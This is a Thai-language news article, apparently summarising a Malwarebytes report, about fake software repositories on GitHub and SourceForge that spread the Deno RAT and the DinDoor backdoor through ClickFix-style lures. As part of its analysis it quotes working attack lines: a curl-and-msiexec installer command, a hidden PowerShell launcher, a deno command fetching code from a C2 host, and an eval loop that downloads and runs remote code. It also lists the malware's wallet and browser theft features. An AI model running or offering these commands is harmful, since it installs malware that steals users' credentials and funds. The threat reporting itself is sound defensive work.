
แหล่งดาวน์โหลดซอฟต์แวร์สำหรับเหล่านักพัฒนา (Developer) ที่เป็นที่นิยมก็คงจะหนีไม่พ้น GitHub และ SourceForge ซึ่งก็แน่นอน ทำให้มีแฮกเกอร์เข้ามาใช้ระบบดังกล่าวในการแพร่กระจายมัลแวร์มากขึ้นเป็นเงาตามตัวไปด้วย
จากรายงานโดยเว็บไซต์อย่างเป็นทางการของผู้พัฒนาเครื่องมือต่อต้านมัลแวร์ชื่อดัง Malwarebytes ได้กล่าวถึงการตรวจพบการใช้แพลตฟอร์ม GitHub และ SourceForge เป็นตัวกลางในการแพร่กระจายมัลแวร์ประเภทเข้าควบคุมเครื่องของเหยื่อจากระยะไกล หรือ RAT (Remote Access Trojan) ที่มีชื่อว่า Deno RAT และมัลแวร์ประเภทเปิดประตูหลังของระบบ หรือ Backdoor ชื่อว่า DinDoor ซึ่งก็เป็นสายพันธุ์ย่อยในตระกูล Deno เช่นเดียวกัน เนื่องจากมีการใช้งาน Deno JavaScript ในช่วงของการ Runtime เพื่อช่วยในการหลบเลี่ยงการถูกตรวจจับ
สำหรับในแคมเปญนี้นั้นก็เรียกได้ว่าเรียบง่าย เนื่องจากแฮกเกอร์จะใช้วิธีการหลอกลวงในรูปแบบ Phishing เข้าแฮกเพื่อยึดช่อง Youtube คนอื่นมาใช้ในการลงคลิปหลอกลวงว่ามีซอฟต์แวร์ชื่อดังให้ใช้งานฟรีพร้อมวิธีการ ซึ่งคลิปเหล่านี้มีผู้รับชมรวมกันทั้งหมดแล้วร่วม 5 หมื่นรายเลยทีเดียว โดยซอฟต์แวร์ที่นำมาใช้แอบอ้างนั้นมักจะเป็นซอฟต์แวร์ด้านปัญญาประดิษฐ์ หรือ AI (Artificial Intelligence), ซอฟต์แวร์เถื่อนที่ถูกแคร็ก (Cracked) แล้ว, และเครื่องมืออย่างไม่เป็นทางการ (Unofficial Tools) อื่น ๆ แล้วจึงทำการโพสต์ข้อความโปรโมตพร้อมลิงก์ที่กล่าวอ้างว่าเป็นซอฟต์แวร์ฟรีนั้นจะสามารถนำพาเหยื่อไปยังคลังดิจิทัล (Repo หรือ Repository) บนแพลตฟอร์ม GitHub, SourceForge, และแพลตฟอร์มอื่น ๆ ที่คล้ายกัน ซึ่งบัญชีที่แฮกเกอร์ใช้ในการสร้าง Repo นั้นจะตกแต่งหน้าตาจนคล้ายคลึงกับว่าเป็นผู้พัฒนาของแท้ทำให้เหยื่อหลายรายไม่เอะใจแล้วหลงเชื่อ

ภาพจาก : https://www.malwarebytes.com/blog/threat-intel/2026/05/fake-software-on-github-and-sourceforge-distribute-deno-rat
หลังจากที่เหยื่อเข้าไปยัง Repo ปลายทางแล้วก็จะพบโค้ดคำสั่งที่อ้างว่าให้ทำการคัดลอกไปวางบนเครื่องมือสำหรับรันเพื่อทำการติดตั้งซอฟต์แวร์ ซึ่งถ้าเป็นผู้ใช้งานระบบปฏิบัติการ Windows ก็จะให้ทำการเปิดฟีเจอร์ Cmd แล้ววางโค้ดคำสั่งดังกล่าวเพื่อรัน แต่ถ้าเป็นผู้ใช้งาน macOS ก็จะให้ทำการรันผ่านทางแอปพลิเคชัน Terminal ซึ่งวิธีการดังกล่าวนั้นคล้ายคลึงกับการใช้หน้าบอกข้อผิดพลาด หรือ หน้ายืนยันตัวตนหลอกลวงเพื่อให้คัดลอกโค้ดไปรันโดยอ้างว่าเป็นการแก้ไขปัญหา ซึ่งเป็นวิธีการที่เรียกว่าการทำ ClickFix อย่างยิ่ง
ในด้านการทำงานของการฝังตัวของมัลแวร์นั้น ทางทีมวิจัยได้ยกตัวอย่างการทำงานบนเวอร์ชัน Windows มาว่าจะเริ่มจากการหลอกให้เหยื่อทำการคัดลอกคำสั่งนี้ไปรันบน cmd
curl -Lo %temp%s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%s.msi
ซึ่งตัวคำสั่งนั้นจะทำการดาวน์โหลดไฟล์ติดตั้งมัลแวร์ในสกุล MSI ลงมาเพื่อทำการรันอย่างอัตโนมัติผ่านทาง msiexec โดยการรันนั้นจะนำพาไปสู่การปล่อยไฟล์ .cmd และไฟล์สคริปท์ PowerShell ลงไปยังโฟลเดอร์ InstallationFolder ตามมาด้วยรันไฟล์ cmd ขึ้นมาเพื่อใช้งานสคริปท์ PowerShell ด้วยคำสั่ง
@set “SCRIPTDIR=%~dp0” @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command “Start-Process powershell -ArgumentList (‘-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File “”‘ + $env:SCRIPTDIR + ‘{Random name}.ps1″”‘) -WindowStyle Hidden”
โดยตัวสคริปท์ PowerShell นั้นจะจัดการในขั้นตอนการติดตั้งมัลแวร์ดังนี้
- ติดตั้งตัวจัดการแพ็คเกจ (Package Manager) ชื่อว่า Scoop
- ใช้งาน Scoop เพื่อจัดการติดตั้ง WinGet ซึ่งเป็นซอฟต์แวร์ประเภท Windows Package Manager ถ้าตรวจไม่พบ WinGet บนระบบ
- จากนั้นใช้งาน WinGet เพื่อติดตั้ง Deno JavaScript ด้วยการใช้งานคำสั่งด้านล่าง
“C:Usersadminscoopappswingetcurrentwinget.exe” install –id DenoLand.Deno -e –accept-source-agreements –accept-package-agreements –silent
ถัดจากนั้นก็จะเป็นการใช้งาน Deno เพื่อติดตั้งมัลแวร์ DinDoor ผ่านทางคำสั่ง
“C:UsersadminAppDataLocalMicrosoftWinGetPackagesDenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwedeno.exe” run -A http://{C2}/{random_path}.js
โดยโต้ดที่ถูกส่งกลับมา (Returned Code) ภายใต้ชื่อ “launcher-1” จะเป็นฟังก์ชัน eval-loop ขนาดเล็กที่ใช้ในการดาวน์โหลดขั้นตอนถัดไป ภายใต้ชื่อ “launcher-2” เพื่อติดตั้งมัลแวร์ DinDoor ซึ่งลักษณะของตัว Returned Code นั้นเป็นดังนี้
var a=”{C2}”.split(“,”),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+”/{BUILD_ID}.js”);if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)(“(async()=>{“+e+”})()”)}catch{}await new Promise(t=>setTimeout(t,3e4))}
ตัวมัลแวร์ DinDoor นั้นจะใช้ในการสร้างความคงทนบนระบบ (Persistence) ด้วยการใช้งานคำสั่งด้านล่างเพื่อสร้างกุญแจ Run (Run Key) ให้กับ “launcher-1” เพื่อรับประกันว่าตัวมัลแวร์จะสามารถกลับมารันใหม่ได้ตลอดเวลา
conhost.exe –headless “” -A “%APPDATA%.js
และติดต่อกับเซิร์ฟเวอร์ควบคุม (C2 หรือ Command and Control) เพื่อดาวน์โหลดไฟล์มัลแวร์ (Payload) ของมัลแวร์ Deno RAT ลงมาติดตั้ง โดยตัวมัลแวร์ Deno RAT นั้นมีความสามารถในการรองรับคำสั่งจากเซิร์ฟเวอร์หลากหลายอย่าง เช่น exec, exec-ps, exec-sc, sysinfo, screenshot, และ stealer เป็นต้น นอกจากนั้นยังมีฟังก์ชันในการจัดการกับเครื่องของเหยื่อมากมาย เช่น
- เก็บข้อมูลต่าง ๆ จากเครื่องของเหยื่อ
- ควบคุมเครื่องของเหยื่อด้วยการใช้งานเครื่องมือ VNC (Virtual Network Computing) ผ่านทางช่องทาง WebSocket
- ขโมยข้อมูลจากกระเป๋าเงินคริปโตเคอร์เรนซี (Crypto Wallet) ในรูปแบบส่วนเสริมของเว็บเบราว์เซอร์ (Extension) กว่า 50 ตัว และในโฟลเดอร์ของกระเป๋าแบบซอฟต์แวร์กว่า 10 ตัว โดยครอบคลุม Atomic Wallet, Exodus, Electrum, และ ByteCoin เป็นต้น
- ขโมยข้อมูลจากเว็บเบราว์เซอร์จำนวนมาก เช่น Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, และ Chromodo
- ขโมยและดัดแปลงข้อมูลบน Clipboard
- ลักลอบส่งออกข้อมูล (Exfiltration) ของแอปพลิเคชัน Telegram, Discord, และ Lightcord
- ลักลอบบันทึกหน้าจอ (Screenshot)
- รันหรือลบ Process ได้อย่างตามใจชอบ
- รันคำสั่งแบบ PowerShell
- สร้าง SOCKS5 Proxy Tunnels ผ่านทาง WebSocket
- รัน Payload เพื่อติดตั้งมัลแวร์เพิ่มเติม





Users Today : 13
Users Yesterday : 60
This Month : 289
This Year : 22842
Total Users : 26746
Views Today : 163
Total views : 81771
Who's Online : 4





